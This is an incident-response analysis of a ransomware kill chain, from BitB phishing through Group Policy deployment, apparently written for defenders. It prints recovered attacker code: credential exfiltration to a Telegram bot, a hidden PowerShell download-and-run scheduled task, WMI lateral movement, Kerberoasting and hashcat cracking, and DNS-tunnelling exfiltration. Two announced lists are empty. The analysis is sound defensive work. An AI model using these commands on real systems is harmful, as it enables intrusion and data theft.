Dissecting a Live Ransomware Kill Chain: From Initial Access to Full Domain Compromise

Introduction

In January 2026, our incident response team was called in to contain an active ransomware intrusion at a mid-size manufacturing firm. What we found was a textbook multi-stage kill chain — but with several unconventional twists that highlight how modern threat actors are evolving faster than most defenders realize.

This post walks through the full attack timeline, the forensic artifacts we recovered, and the defensive gaps that made it all possible. Names, IPs, and identifying details have been sanitized.

Disclaimer: This analysis is shared for educational and defensive purposes only. All indicators have been defanged. Do not attempt to replicate any of these techniques outside of an authorized lab environment.

Phase 1 — Initial Access: The Browser-in-the-Browser Trap

The intrusion started with a phishing email that didn't contain a malicious attachment or a suspicious link to a payload. Instead, it linked to a legitimate SharePoint page that had been compromised via a stolen OAuth token.

Embedded in the SharePoint page was an iframe rendering a pixel-perfect Google sign-in form — a Browser-in-the-Browser (BitB) attack. The victim entered their credentials, which were exfiltrated to a Telegram bot via a Cloudflare Worker proxy.

// Simplified exfil logic recovered from the Cloudflare Worker
export default {
  async fetch(request) {
    const body = await request.json();
    const tgUrl = `https://api.telegram[.]org/bot${BOT_TOKEN}/sendMessage`;
    await fetch(tgUrl, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        chat_id: CHAT_ID,
        text: `New creds:\nUser: ${body.email}\nPass: ${body.password}\nMFA: ${body.token}`
      })
    });
    return new Response("OK");
  }
};

What made this particularly effective: the OAuth token used to compromise SharePoint was harvested from a different employee months earlier via a consent-phishing campaign. The attacker had been sitting quietly, waiting for the right moment.

Phase 2 — Persistence: Living Off the Land with Scheduled Tasks

Within 90 minutes of credential theft, the attacker authenticated to the VPN using the stolen credentials and a phished MFA token (the BitB form captured the TOTP code in real time).

Once on the internal network, they avoided dropping custom malware. Instead, they used native Windows tools — a technique known as Living Off the Land (LOtL):

# Persistence via scheduled task (recovered from forensic image)
schtasks /create /tn "WindowsHealthCheck" /tr "powershell.exe -ep bypass -w hidden -c IEX((New-Object Net.WebClient).DownloadString('http://10.0.4[.]18:8080/update.ps1'))" /sc onlogon /ru SYSTEM

# Lateral movement via WMI
wmic /node:"DC01" process call create "cmd.exe /c powershell -ep bypass -file \\10.0.4[.]18\share$\recon.ps1"

The update.ps1 script was a simple reverse shell that only activated during business hours (8 AM–6 PM local time) to blend in with normal network traffic.

Forensic Tip: Always check scheduled tasks with schtasks /query /fo CSV /v and correlate against known-good baselines. Attackers love /sc onlogon and /sc daily triggers because they survive reboots without touching the registry Run keys that EDR products monitor closely.

Phase 3 — Lateral Movement: Kerberoasting the Service Accounts

The attacker performed a Kerberoast attack to extract service account ticket-granting service (TGS) tickets, then cracked them offline:

# Kerberoasting with Rubeus (memory-only execution)
[System.Reflection.Assembly]::Load([Convert]::FromBase64String($rubeus_b64))
[Rubeus.Program]::MainString("kerberoast /outfile:C:\Windows\Temp\tgs.txt")

# Offline cracking (attacker infrastructure)
hashcat -m 13100 tgs.txt rockyou.txt -r best64.rule

Two service accounts had passwords that fell within minutes:

The svc_backup account was a member of Server Operators, which was nested inside Domain Admins — a misconfiguration that had existed for over two years. No one had audited group nesting.

Phase 4 — Exfiltration: DNS Tunneling Through Legitimate Resolvers

Before deploying ransomware, the attacker exfiltrated 47 GB of data. But they didn't use HTTPS uploads or cloud storage. Instead, they tunneled data out through DNS TXT queries to a domain they controlled:

# Simplified DNS exfiltration logic
for chunk in $(base64 sensitive_data.tar.gz | fold -w 63); do
  nslookup -type=TXT "${chunk}.data.attacker-domain[.]com" 8.8.8[.]8
  sleep 0.5
done

Because the queries went through Google's public DNS resolver, they bypassed the internal DNS logging and the firewall's domain reputation checks. The exfiltration ran for 11 days before ransomware deployment.

Critical Lesson: If you're not monitoring DNS query volume per host and flagging anomalous TXT record lookups, you have a massive blind spot. A single workstation making 50,000+ DNS queries per day should trigger an alert.

Phase 5 — Impact: Ransomware Deployment via Group Policy

With Domain Admin access, the attacker deployed the ransomware payload through Group Policy:

1. Created a new GPO: Windows Defender Update Policy

2. Added an immediate scheduled task that disabled Windows Defender, Volume Shadow Copies, and backup agents

3. Pushed the ransomware binary as a "startup script" across all OUs

4. Force-replicated the GPO with gpupdate /force via PsExec on the domain controllers

The ransomware itself used intermittent encryption — encrypting only every 16th byte of each file. This made encryption extremely fast (the entire domain was locked in under 4 minutes) while still rendering files unusable.

The Defensive Gaps: What Failed and Why

After containment, we identified five critical failures that allowed this kill chain to succeed:

Actionable Takeaways

If you take nothing else from this analysis, implement these five controls:

1. Deploy FIDO2/WebAuthn for all privileged accounts. Hardware-bound MFA eliminates phishing credential theft entirely. TOTP and push notifications are no longer sufficient for high-value targets.

2. Audit AD group nesting quarterly. Use Get-ADGroupMember -Recursive and graph the results. Nested privilege escalation paths are one of the most common findings in our penetration tests.

3. Enforce 25+ character passwords for service accounts — or better yet, migrate to Group Managed Service Accounts (gMSA) where the password rotates automatically and is never known to humans.

4. Monitor DNS at the host level. Deploy Sysmon with Event ID 22 (DNS Query) logging and set alerts for anomalous query volumes, long subdomain strings, and TXT record lookups to newly registered domains.

5. Monitor GPO changes in real time. Any GPO creation or modification outside of a change window should trigger an immediate SOC alert. Tools like Microsoft ATA/Defender for Identity can detect this natively.

Want to test your defenses? Our Red Team Operations course walks through these exact techniques in a controlled lab environment so your team can practice detection and response before a real attacker forces them to.

Conclusion

This incident reinforces a pattern we see repeatedly: the attackers didn't use zero-days. Every technique in this kill chain — BitB phishing, LOtL persistence, Kerberoasting, DNS tunneling, GPO abuse — is well-documented and has existed for years. The problem isn't a lack of knowledge; it's a lack of implementation.

The gap between knowing what to do and actually doing it is where most organizations get breached. Close the gap before someone closes it for you.

Questions, or feedback? Drop a comment below or reach out directly.